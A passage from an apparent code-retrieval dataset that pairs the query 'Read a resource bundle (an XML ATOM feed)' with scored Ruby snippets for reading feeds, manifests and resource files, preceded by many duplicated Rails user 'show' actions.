"4beebbd21adc13d67380eaf63688cad5", "score": "0.7773525", "text": "def show\n\t\t@user = User.find(params[:id])\n\tend", "title": "" }, { "docid": "4beebbd21adc13d67380eaf63688cad5", "score": "0.7773525", "text": "def show\n\t\t@user = User.find(params[:id])\n\tend", "title": "" }, { "docid": "4beebbd21adc13d67380eaf63688cad5", "score": "0.7773525", "text": "def show\n\t\t@user = User.find(params[:id])\n\tend", "title": "" }, { "docid": "2aa43cf752ec568fe65ef40839624bef", "score": "0.77708894", "text": "def show \n\t\t@user = User.find(params[:id])\n\tend", "title": "" }, { "docid": "460419b7e68b967f169e9ba92000049a", "score": "0.77696073", "text": "def show\n @user = User.find(params[:id])\n \n end", "title": "" }, { "docid": "dccea2efaf934a55e46425bcf440c650", "score": "0.7768504", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "dc834b845037b570c725da69dd65a6fe", "score": "0.77625716", "text": "def show\n render json: User.find(params[:id])\n end", "title": "" }, { "docid": "591bcf18ce3a4bd388263caab19eb522", "score": "0.7760341", "text": "def show\n\t\t@user = User.find(params[:id])\n\t\t\n\tend", "title": "" }, { "docid": "f728cf8c654867b0d4fc59512ea7716a", "score": "0.7750436", "text": "def show\n \n # if User.exists?(id: params[:id])\n # @users = User.find(params[:id])\n # end\n # @users = @user\n \n \n logger.debug(@user)\n \n \n render :show and return\n end", "title": "" }, { "docid": "c45ef93e5ec86fae7938dcc300b8933c", "score": "0.7749611", "text": "def show \n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "8141c856ed4e10932601937e73de9aeb", "score": "0.77469367", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "8141c856ed4e10932601937e73de9aeb", "score": "0.77469367", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "8141c856ed4e10932601937e73de9aeb", "score": "0.77469367", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "8141c856ed4e10932601937e73de9aeb", "score": "0.77469367", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "8141c856ed4e10932601937e73de9aeb", "score": "0.77469367", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "8141c856ed4e10932601937e73de9aeb", "score": "0.77469367", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "70ec791e6e1860342e68217464adc5d7", "score": "0.7743282", "text": "def show\n @user = User.find(params[:id])\n end", "title": "" } ]
65ab672ffc7564d9efbb9d767f2cf82e
Read a resource bundle (an XML ATOM feed)
[ { "docid": "153b82b3095b7adc8ad93c11a68e78a8", "score": "0.5458909", "text": "def read_feed(klass, format=@default_format_bundle)\n options = { resource: klass, format: format }\n reply = get resource_url(options), fhir_headers(options)\n reply.resource = parse_reply(klass, format, reply)\n reply.resource_class = klass\n reply\n end", "title": "" } ]
[ { "docid": "bbb38143ffacea56bfba34b8db42bb01", "score": "0.6226297", "text": "def read_resource(resource, content, extension=\"\")\n path = get_path(resource, extension)\n return File.open(path, 'r')\n end", "title": "" }, { "docid": "3424baab08058aa8348a2e16650a30db", "score": "0.609026", "text": "def archive_read(archive, path)\n # --- make sure this works from within .jar files and such\n stream = ClassLoader.getSystemResourceAsStream(path)\n reader = BufferedReader.new(InputStreamReader.new(stream))\n archive.add_all reader\nend", "title": "" }, { "docid": "6b5b07810b367458f37ead528f1cfbdb", "score": "0.6028553", "text": "def load_bundle_manifest\n begin\n return MultiJson.load(File.read(path(\"manifest.json\")))\n rescue => ex\n end\n nil\n end", "title": "" }, { "docid": "5a099814bc93555a354c479c1759117b", "score": "0.60231805", "text": "def read_file(resource)\n File.read(resource)\n end", "title": "" }, { "docid": "bfe0d637069f634cf947ca680e43b5e7", "score": "0.5989362", "text": "def read_manifest\n File.read_utf(\"Manifest.txt\").split(/\\r?\\n\\r?/) rescue nil\n end", "title": "" }, { "docid": "1bced7a7830245c8b1bfcb7e4edb770e", "score": "0.56638306", "text": "def bundle\n @bundle ||= Bundle.load(@path)\n end", "title": "" }, { "docid": "4b2ebe3f2ec81f7f72bbf56e768ba991", "score": "0.5636627", "text": "def read_content(name, resource)\n read(name, resource) do |file|\n if file.header.typeflag == \"2\"\n return read_content(name, File.absolute_path(file.header.linkname,File.dirname(resource)))\n end\n if file.header.typeflag != \"0\"\n raise NotAFile.new(\"not a file\", {'path' => resource})\n end\n return file.read\n end\n end", "title": "" }, { "docid": "1a7faeb4cbeabdb85a1327ee6e4f534d", "score": "0.5596602", "text": "def read_content(resource)\n case resource\n when '-'\n method(:read_stdin)\n when /\\A#{URI::DEFAULT_PARSER.make_regexp}\\z/\n method(:read_url)\n else\n method(:read_file)\n end.call(resource)\n end", "title": "" }, { "docid": "41ca9d9dbaabd08f23a6203f1cebdd14", "score": "0.5579064", "text": "def read\n site.defaults_reader.read\n site.data = site.collections.data.read.merge_data_resources\n read_layouts\n read_directories\n read_includes\n sort_files!\n read_collections\n site.config.source_manifests.select(&:content).each do |manifest|\n PluginContentReader.new(site, manifest).read\n end\n end", "title": "" }, { "docid": "5f887ff7ec8d80c9ad5a977c7b8ffaa6", "score": "0.556572", "text": "def read_manifest()\n if not File.exists?(MANIFEST)\n return {}\n end\n\n f = File.new(MANIFEST, \"r\")\n f.rewind()\n yml = f.read()\n f.close()\n return YAML.load(yml)\nend", "title": "" }, { "docid": "21e715ea4b37d388546dc4a8d979f357", "score": "0.5560523", "text": "def read\n @resource_paths = Dir.chdir(path) do\n Dir['**/Contents.json'].map { |p| Pathname(p) + '..' }\n end\n @resources = @resource_paths.map do |path|\n Resource.new(self, path)\n end\n self\n end", "title": "" }, { "docid": "593cbaefba10df4af6702d7b7420706f", "score": "0.55536646", "text": "def extract_manifest_tag(url, tag)\n require 'open-uri'\n require 'zip'\n begin\n Zip::InputStream.open(open(url)) do |zip|\n while f = zip.get_next_entry\n if f.name == 'install.rdf'\n content = zip.read.scan(/<em:#{tag}>([^<]+)/).first.first\n content.force_encoding \"UTF-8\"\n return content\n end\n end\n end\n raise \"install.rdf not found or the xpi was unreadable by rubyzip\"\n rescue Exception => e\n puts \"\\nError parsing install.rdf for #{url}: #{e.message}\"\n raise\n end\n end", "title": "" }, { "docid": "d5bfd7d29bf421a18aeb89f8c0c4ac58", "score": "0.5545239", "text": "def read_resource(resource)\n resource\n end", "title": "" }, { "docid": "d5bfd7d29bf421a18aeb89f8c0c4ac58", "score": "0.5545239", "text": "def read_resource(resource)\n resource\n end", "title": "" }, { "docid": "76b3ed17d21de180eaf791da8d83ca48", "score": "0.55437475", "text": "def load\n YAML.load_file MANIFEST rescue {}\n end", "title": "" }, { "docid": "6788567e8e8fb6f203a81e538f4b8467", "score": "0.55381334", "text": "def parse_uri(resource)\n feed = ExtractData.extract_contents_from_url(resource).force_encoding 'UTF-8'\n parse feed\n end", "title": "" }, { "docid": "905bc376a05cf2c8f9fbd114ab89d0ea", "score": "0.5530106", "text": "def read_xml\n @epub.file.read_xml(abs_filepath)\n end", "title": "" }, { "docid": "7c45e72e9fceb07824987ff2541689f8", "score": "0.55051684", "text": "def parse_bundle\n Dir.glob(@bundle_dir + \"**/*.plist\") do |file_name|\n file = File.new(file_name) \n first = file.readline\n file.rewind\n\n if first =~ /\\<\\?xml/\n Parsers::StreamParser.new(file, self).parse\n elsif first =~ /^\\{/\n parse_simple_snippet(file)\n else\n puts \"Invalid snippet file: #{file_name}\"\n end\n\n @bundle[@cur_snippet[\"tabTrigger\"]] = @cur_snippet\n end\n end", "title": "" }, { "docid": "af4e5310681398e9e9204820f5ae4396", "score": "0.5467595", "text": "def bundle(name)\n RubyAem::Resources::Bundle.new(@client, name)\n end", "title": "" }, { "docid": "e61f40ec749672ba0c7c0fa78eba0dc5", "score": "0.53483486", "text": "def load_resources\n\t\tListing\n\t\t@resources = YAML::load(File.open('listings.yml'))\n\tend", "title": "" }, { "docid": "cc314c12655cd24e92b435e1cb21555a", "score": "0.53396165", "text": "def resource_get class_name, resource_name\n\t\t\tpath = \"#{class_to_basefile(class_name)}.#{resource_name}\"\n\t\t\tdata, readed = nil, false\n\t\t\tif File.exist? path\n\t\t\t\tdata = File.read path\n\t\t\t\treaded = true\n\t\t\telse\n\t\t\t\tpath = \"#{class_to_basefile(class_name)}.res/#{resource_name}\"\n\t\t\t\tif File.exist? path\n\t\t\t\t\tdata = File.read path\n\t\t\t\t\treaded = true\n\t\t\t\tend\n\t\t\tend\n\t\t\traise Resource::NotExist unless readed\t\t\t\t\t\n\t\t\treturn data\n\t\tend", "title": "" }, { "docid": "4cf8eb4faada5342e7273637b28dfc53", "score": "0.5311653", "text": "def read_resource(name)\n res = YAML.load_file(\n \"#{App.config.resource_directory}/#{name}.yaml\"\n )\n raise 'No name specified...' if res['name'].nil?\n\n res['name'] = \"res-#{res['name']}\"\n res['capabilities'] ||= []\n res['tags'] = stack_meta(res['tags'] || {})\n res['parameters'] = stack_params(res['parameters'] || {})\n res\n end", "title": "" }, { "docid": "b7986c3e79b9f2c616e95c0c5014c930", "score": "0.5276473", "text": "def read_manifest\n\t\tif self.has_manifest?\n\t\t\tentries = self.manifest_file.readlines.map( &:chomp )\n\t\t\treturn Rake::FileList[ *entries ]\n\t\telse\n\t\t\tself.prompt.warn \"No manifest (%s): falling back to a default list\" %\n\t\t\t\t[ self.manifest_file ]\n\t\t\treturn self.default_manifest\n\t\tend\n\tend", "title": "" }, { "docid": "8bdc6ad51e94f65c3a7867b3bebae422", "score": "0.52605313", "text": "def xml\n @entry ||= open(entry_url).read\n rescue => e\n raise RuntimeError, \"coult not open entry url: #{entry_url} : \\n#{e}\"\n end", "title": "" }, { "docid": "4c75c733924588efd09522d7fda313bf", "score": "0.5196046", "text": "def parse\n start_section\n\n n = length\n start = @file.tell\n\n while n > 0\n pos = @file.tell\n @resources << PSD::Resource.read(@file)\n n -= @file.tell - pos\n end\n\n unless n == 0\n @file.seek start + length\n end\n\n end_section\n return @resources\n end", "title": "" }, { "docid": "c64a423bcfa10383545c02b89983ae1d", "score": "0.51900494", "text": "def read_feeds(fname, locale, offset)\r\n File.foreach(fname) {|line| xml_feed_entries(line, locale, offset)}\r\n end", "title": "" }, { "docid": "6c5f4ca12e2b7549dd7d353da68fdaa5", "score": "0.518809", "text": "def load_resource(path=nil)\n\t\tpath ||= File.join(Msf::Config.config_directory, 'msfconsole.rc')\n\t\treturn if not ::File.readable?(path)\n\n\t\tlines = ::File.readlines(path)\n\n\n\t\twhile lines.length > 0\n\t\t\tline = lines.shift\n\t\t\tbreak if not line\n\t\t\tline.strip!\n\t\t\tnext if line.length == 0\n\t\t\tnext if line =~ /^#/\n\t\t\tif line =~ /^<ruby>/\n\t\t\t\tbuff = ''\n\t\t\t\twhile lines.length > 0\n\t\t\t\t\tline = lines.shift\n\t\t\t\t\tbreak if not line\n\t\t\t\t\tbreak if line =~ /^<\\/ruby>/\n\t\t\t\t\tbuff << line\n\t\t\t\tend\n\t\t\t\tif ! buff.empty?\n\t\t\t\t\tprint_status(\"resource (#{path})> Ruby Code (#{buff.length} bytes)\")\n\t\t\t\t\tbegin\n\t\t\t\t\t\teval(buff, binding)\n\t\t\t\t\trescue ::Interrupt\n\t\t\t\t\t\traise $!\n\t\t\t\t\trescue ::Exception => e\n\t\t\t\t\t\tprint_error(\"resource (#{path})> Ruby Error: #{e.class} #{e} #{e.backtrace}\")\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tprint_line(\"resource (#{path})> #{line}\")\n\t\t\t\trun_single(line)\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "bcad98911b167229dc2e463ce7079046", "score": "0.5182623", "text": "def resources_path\n NSBundle.mainBundle.resourcePath\n end", "title": "" }, { "docid": "17f047fed6cf89a38a09ce5af64c2a2c", "score": "0.5163695", "text": "def read\n @site.layouts = LayoutReader.new(site).read\n read_directories\n read_included_excludes\n sort_files!\n CollectionReader.new(site).read\n ThemeAssetsReader.new(site).read\n read_data\n end", "title": "" }, { "docid": "f32ae6941735670556fd7e3ac73bbdc2", "score": "0.51543874", "text": "def load_manifest(entry) # :nodoc:\n raise FoobarMod::Package::FormatError.new \"Mod manifest size is too large\" if entry.size > MAX_MANIFEST_SIZE\n @manifest = FoobarMod::Manifest.from_hcl entry.get_input_stream.read\n end", "title": "" }, { "docid": "c7fe11dfc041d2b217380ddb6621ba2f", "score": "0.5153569", "text": "def read_feed(klass, format = nil)\n headers = { accept: \"#{format}\" } if format\n format ||= @default_format\n options = { resource: klass, format: format}\n reply = get resource_url(options), fhir_headers(headers)\n reply.resource = parse_reply(klass, format, reply)\n reply.resource_class = klass\n reply\n end", "title": "" }, { "docid": "89eeb414e20576a692811d57a6316d33", "score": "0.51219624", "text": "def resource(doc_path, res_path)\n n = @content_tree.resource(doc_path, res_path)\n n ? n.contents : nil\n end", "title": "" }, { "docid": "a634b85af6b4b3baeb22c17029458e00", "score": "0.51210034", "text": "def resources_path\n NSBundle.mainBundle.resourcePath\n end", "title": "" }, { "docid": "6a297f917dc395ddab915cee94bd3e45", "score": "0.50948834", "text": "def read\n @epub.file.read(abs_filepath)\n end", "title": "" }, { "docid": "0f43d0ad60fdadfad60d1f474ec27b4c", "score": "0.5089994", "text": "def list_bundle_contents(path: nil, code:, host:)\n BrickFTP::API::BundleContent.all(path: path, code: code, host: host)\n end", "title": "" }, { "docid": "0f43d0ad60fdadfad60d1f474ec27b4c", "score": "0.5089994", "text": "def list_bundle_contents(path: nil, code:, host:)\n BrickFTP::API::BundleContent.all(path: path, code: code, host: host)\n end", "title": "" }, { "docid": "577f92d76784b19088516828623c0d97", "score": "0.5075767", "text": "def read_file name\n\topen(\"https://raw.githubusercontent.com/NotEnoughIdea/Ideas/master/resources/#{name}.txt\").read\nend", "title": "" }, { "docid": "5d17745b7c751b84e920a7f1cbec393f", "score": "0.5075461", "text": "def resources(resource_uri = nil)\n load unless loaded?\n if resource_uri.nil?\n @resources.values\n else\n @resources[resource_uri]\n end\n end", "title": "" }, { "docid": "ed5526541944572dd366fced160e806b", "score": "0.5069196", "text": "def load_current_resource\n @zip_pkg = Chef::Resource::ApplicationsPackage.new(new_resource.name)\n Chef::Log.debug(\"Checking for application #{new_resource.app}\")\n installed = ::File.directory?(\"#{new_resource.destination}/#{new_resource.app}.app\")\n @zip_pkg.installed(installed)\nend", "title": "" }, { "docid": "dc6fe78afad6ccaa558ff297a76b1fc5", "score": "0.5041719", "text": "def read_locale_pack(name, locale: nil)\n pack = LocalePack::Pack.find_by_name(name, locale: locale)\n locale_file_path = File.join(@output_path, pack.file_name)\n\n if !@locale_packs.key?(locale_file_path) && File.exists?(locale_file_path)\n locale_file = File.file?(locale_file_path)\n return '' unless locale_file\n locale_pack_content = File.read(locale_file_path)\n\n @locale_packs[locale_file_path] = locale_pack_content\n end\n\n @locale_packs[locale_file_path]\n end", "title": "" }, { "docid": "f94f20b35e77f516fd11b257260e0c7b", "score": "0.5037295", "text": "def read\n Hash.from_xml(File.open(file_name))\n end", "title": "" }, { "docid": "cf648398d7b968fc5ca9cde3e80a739e", "score": "0.5028778", "text": "def get(resource_uri, format = \"text/turtle\")\n uri = build_uri_for_resource resource_uri \n log \"get #{uri}\"\n request = Net::HTTP::Get.new(uri)\n request[\"Accept\"] = format\n response = Net::HTTP.start(uri.hostname, uri.port) {|http|\n http.request(request)\n }\n doc = FedoraDoc.new(response)\n log \"resource body \\r\\n#{doc.body}\"\n doc\n end", "title": "" }, { "docid": "a0b1c058db1bc6f9b1293761ac17a5e3", "score": "0.5027643", "text": "def read(entry); end", "title": "" }, { "docid": "e4c0f420eebedcba74a212496133e137", "score": "0.50232995", "text": "def bundle\n content.split('bundle ').last.split(\",\").map(&:to_i).to_s\n end", "title": "" }, { "docid": "b5067d2a8edd83eeb230abe44a805ad0", "score": "0.50228447", "text": "def _get_manifest\n Dir[\"#{uri}/**/*\"].map { |entry|\n entry = \"#{entry}/\" if File.directory?(entry)\n entry.sub(uri, \"\").sub(/^\\//, \"\")\n }\n end", "title": "" }, { "docid": "97bbe8b3ff826d846b3699f399046426", "score": "0.5002717", "text": "def read\n IO.read(full_path)\n end", "title": "" }, { "docid": "f9b8ea6470158c958bfed922108c67b5", "score": "0.49860638", "text": "def read_atom_feed_for(avalon_id)\n\n end", "title": "" }, { "docid": "d6d90d6a8f705be73a4924b3b0f96662", "score": "0.49821696", "text": "def load\n manifest_uri, @manifest = @session.get_manifest(uri)\n @folders = extract_folders\n @resources = extract_resources\n @annotations = extract_annotations\n @loaded = true\n end", "title": "" }, { "docid": "5580084a3139c802a15243014d161b3b", "score": "0.49749446", "text": "def get_resource(resource_path, fetch_resource_config = true)\n path = resource_path.is_a?(CanonicalPath) ? resource_path : CanonicalPath.parse(resource_path)\n feed_id = path.feed_id\n res_path = path.resource_ids.join('/')\n\n res = http_get(\"/feeds/#{feed_id}/resources/#{res_path}\")\n if fetch_resource_config\n p = get_config_data_for_resource(resource_path)\n res['properties'] ||= {}\n res['properties'].merge p['value'] unless p['value'].nil?\n end\n Resource.new(res)\n end", "title": "" }, { "docid": "6ba9044c86e81b25e0bf3fd0f28b1f9d", "score": "0.49722746", "text": "def load\n @filename = File.expand_path(file_name('feeds.yml'))\n end", "title": "" }, { "docid": "c0f1477d54152adb0378e2ca4c82f0e3", "score": "0.49688685", "text": "def read(id=nil)\n request = Net::HTTP.new(@uri.host, @uri.port)\n if id.nil?\n response = request.get(\"#{@uri.path}.xml\")\n else\n response = request.get(\"#{@uri.path}/#{id}.xml\")\n end\n\n response.body\n end", "title": "" }, { "docid": "b6df8e16de033b532f7b8b527769d246", "score": "0.49654585", "text": "def load_manifest\n files = [config.manifest_path, config.assets_manifest_path].select(&:exist?)\n files.map { |path| JSON.parse(path.read) }.inject({}, &:merge).tap(&method(:resolve_references))\n end", "title": "" }, { "docid": "fe55226fc2f383015f37209c22ea7864", "score": "0.49512458", "text": "def resource(*resources, &block); end", "title": "" }, { "docid": "d580c5009307fec50356f30c18fd0738", "score": "0.4946115", "text": "def resources\n @resources ||= Marshal.load(Marshal.dump(@@resources))\n end", "title": "" }, { "docid": "f40faeade7fa186d24c8dfdb44debacf", "score": "0.49445996", "text": "def load_resources\n resource_path = File.join(File.dirname(__FILE__), \"resources\")\n Similar.load_all_ruby_files_from_path(resource_path)\n end", "title": "" }, { "docid": "f9a75a734cf16de69c0887191109d2bc", "score": "0.49322215", "text": "def get_resource_value(res_id)\n if res_id.is_a? String\n res_id = res_id.hex\n end\n\n # R.id integers are a concatenation of package_id, type_id, and entry index\n res_package = (res_id >> 24) & 0xFF\n res_type = (res_id >> 16) & 0xFF\n res_index = res_id & 0xFFFF\n\n package_element = @packages[res_package]\n if package_element == nil\n # This is not a resource we can parse\n return nil\n end\n\n res_spec = package_element.type_data[res_type-1]\n if res_spec == nil\n puts \"Could not find ResTypeSpec for #{res_package} #{res_type}\" if DEBUG\n return nil\n end\n\n entries = res_spec.types.entries[res_index]\n if entries == nil\n puts \"Could not find #{res_spec.types.id} ResType chunk\" if DEBUG\n return nil\n end\n\n return entries\n end", "title": "" }, { "docid": "dc23c0bca65dcb82667c9e75d18c7c5d", "score": "0.49311036", "text": "def read\n begin\n title = @current_feed.keys.first\n content = @cache[@current_feed.keys.first] || fetch_feed\n @current_feed_link = content[0]&.dig('link')\n decoded_content = HTMLEntities.new.decode(content&.shift&.dig('title'))\n @cache[@current_feed.keys.first] = nil if content.empty?\n rescue StandardError => e\n # Error while parsing, something weird during feed fetch/parse, not read (as in pulling off queue), probably\n # TODO: maybe move this into a util class if we want this to be the way to log errors (because of how CLI works)\n File.open('errors.log', 'w') { |file| file.write(\"Error while parsing feed <#{title}>: #{e}\\n\") }\n end\n next_feed\n \"<#{title}>: #{decoded_content || Rss::NO_VALUE}\"\n end", "title": "" }, { "docid": "e68a55c27dc8934c83076a36d36204d9", "score": "0.49285537", "text": "def find_resource_entry(filename, opts={}, seen=nil)\n extname = File.extname(filename)\n rootname = filename.gsub(/#{extname}$/,'')\n entry_extname = entry_rootname = nil\n\n ret = entries_for(:resource, opts.merge(:hidden => :none)).reject do |entry|\n entry_extname = File.extname(entry.filename)\n entry_rootname = entry.filename.gsub(/#{entry_extname}$/,'')\n\n ext_match = (extname.nil? || extname.size == 0) || (entry_extname == extname)\n !(ext_match && (/#{rootname}$/ =~ entry_rootname))\n end\n\n ret = ret.first\n\n if ret.nil?\n seen = Set.new if seen.nil?\n seen << self\n all_required_bundles.each do |bundle|\n next if seen.include?(bundle) # avoid recursion\n ret = @bundle.find_resource_entry(filename, opts, seen)\n return ret unless ret.nil?\n end\n end\n return ret\n end", "title": "" }, { "docid": "d26144d35fe3f984e8b4b87688e6e866", "score": "0.4919483", "text": "def read_xml(filename=$g_language_strings)\n filename = $g_lang_strings_file\n all_strings_hash={}\n\n config = XmlSimple.xml_in(filename, {'KeyAttr' => 'resources/String'})\n config['string'].each do |var|\n all_strings_hash[var[\"name\"]]=var[\"content\"]\n end\n\n return all_strings_hash\n end", "title": "" }, { "docid": "63b959f85f22a592a6d9f16b2cf0dff4", "score": "0.48962665", "text": "def read_uri (uri)\n\n return File.read(uri) if uri.match(/^[A-Z]:\\\\/)\n # seems like we're on windows, well... A:\\ ?\n\n u = URI.parse(uri.to_s)\n\n raise(':remote_definitions_allowed is set to false') \\\n if (ac[:remote_definitions_allowed] != true and\n u.scheme and\n u.scheme != 'file')\n\n f = Rufus::Verbs.fopen(u) # Rufus::Verbs is OK with redirections\n result = f.read\n f.close if f.respond_to?(:close)\n\n result\n end", "title": "" }, { "docid": "f3e56f6198110ea7d650e994389120e0", "score": "0.48951632", "text": "def read_content(entry)\n entry.rewind if entry.respond_to? :rewind\n case entry\n when File, Tempfile, StringIO then entry.read\n when Dir then (entry.entries - ['.', '..']).collect { |filename| read_content(Pathname.new(File.join(entry.path, filename))) }.compact.sort\n when String then entry\n when Pathname then\n if entry.directory?\n read_content(entry)\n elsif entry.file?\n File.open(entry, 'r:binary').read\n end\n end\nend", "title": "" }, { "docid": "70a16acac8493d719940143a77276110", "score": "0.48948446", "text": "def read(id=nil)\r\n request = Net::HTTP.new(@uri.host, @uri.port)\r\n if id.nil?\r\n response = request.get(\"#{@uri.path}.xml\") \r\n else\r\n response = request.get(\"#{@uri.path}/#{id}.xml\") \r\n end\r\n response.body\r\n end", "title": "" }, { "docid": "5dcca717a47b1a3a763ba99f53422d10", "score": "0.48923358", "text": "def read(field_list=nil)\n response = @service.context.get(@path)\n data = AtomResponseLoader::load_text(response)\n _filter_content(data['entry']['content'], field_list)\n end", "title": "" }, { "docid": "6bb4484684034428b55f1f4ecb9af45b", "score": "0.48873118", "text": "def read_config\n config_file = File.join(@www, 'config.xml')\n\n if File.exists?(config_file)\n require 'rexml/document'\n f = File.new config_file\n doc = REXML::Document.new(f)\n @config = {}\n @config[:id] = doc.root.attributes[\"id\"]\n @config[:version] = doc.root.attributes[\"version\"]\n @config[:icons] = {}\n defaultIconSize = 0\n doc.root.elements.each do |n|\n @config[:name] = n.text.gsub('-','').gsub(' ','') if n.name == 'name'\n @config[:description] = n.text if n.name == 'description'\n @config[:content] = n.attributes[\"src\"] if n.name == 'content'\n if n.name == 'icon'\n if n.attributes[\"width\"] == '72' && n.attributes[\"height\"] == '72'\n @config[:icons][\"drawable-hdpi\".to_sym] = n.attributes[\"src\"]\n if 72 > defaultIconSize\n @config[:icon] = n.attributes[\"src\"]\n defaultIconSize = 72\n end\n elsif n.attributes[\"width\"] == '48' && n.attributes[\"height\"] == '48'\n @config[:icons][\"drawable-mdpi\".to_sym] = n.attributes[\"src\"]\n if 48 > defaultIconSize\n @config[:icon] = n.attributes[\"src\"]\n defaultIconSize = 48\n end\n elsif n.attributes[\"width\"] == '36' && n.attributes[\"height\"] == '36'\n @config[:icons][\"drawable-ldpi\".to_sym] = n.attributes[\"src\"]\n if 36 > defaultIconSize\n @config[:icon] = n.attributes[\"src\"]\n defaultIconSize = 36\n end\n else\n @config[:icon] = n.attributes[\"src\"]\n end\n end\n\n\n if n.name == \"preference\" && n.attributes[\"name\"] == 'javascript_folder'\n @config[:js_dir] = n.attributes[\"value\"]\n end\n end\n\n # extract android specific stuff\n @config[:versionCode] = doc.elements[\"//android:versionCode\"] ? doc.elements[\"//android:versionCode\"].text : 3\n @config[:minSdkVersion] = doc.elements[\"//android:minSdkVersion\"] ? doc.elements[\"//android:minSdkVersion\"].text : 1\n # will change the name from the directory to the name element text\n @name = @config[:name] if @config[:name]\n # set the icon from the config\n @icon = File.join(@www, @config[:icon]) if @config[:icon]\n @icons = @config[:icons] if @config[:icons].length > 0\n # sets the app js dir where phonegap.js gets copied\n @app_js_dir = @config[:js_dir] ? @config[:js_dir] : ''\n # sets the start page\n @content = @config[:content] ? @config[:content] : 'index.html'\n end\n end", "title": "" }, { "docid": 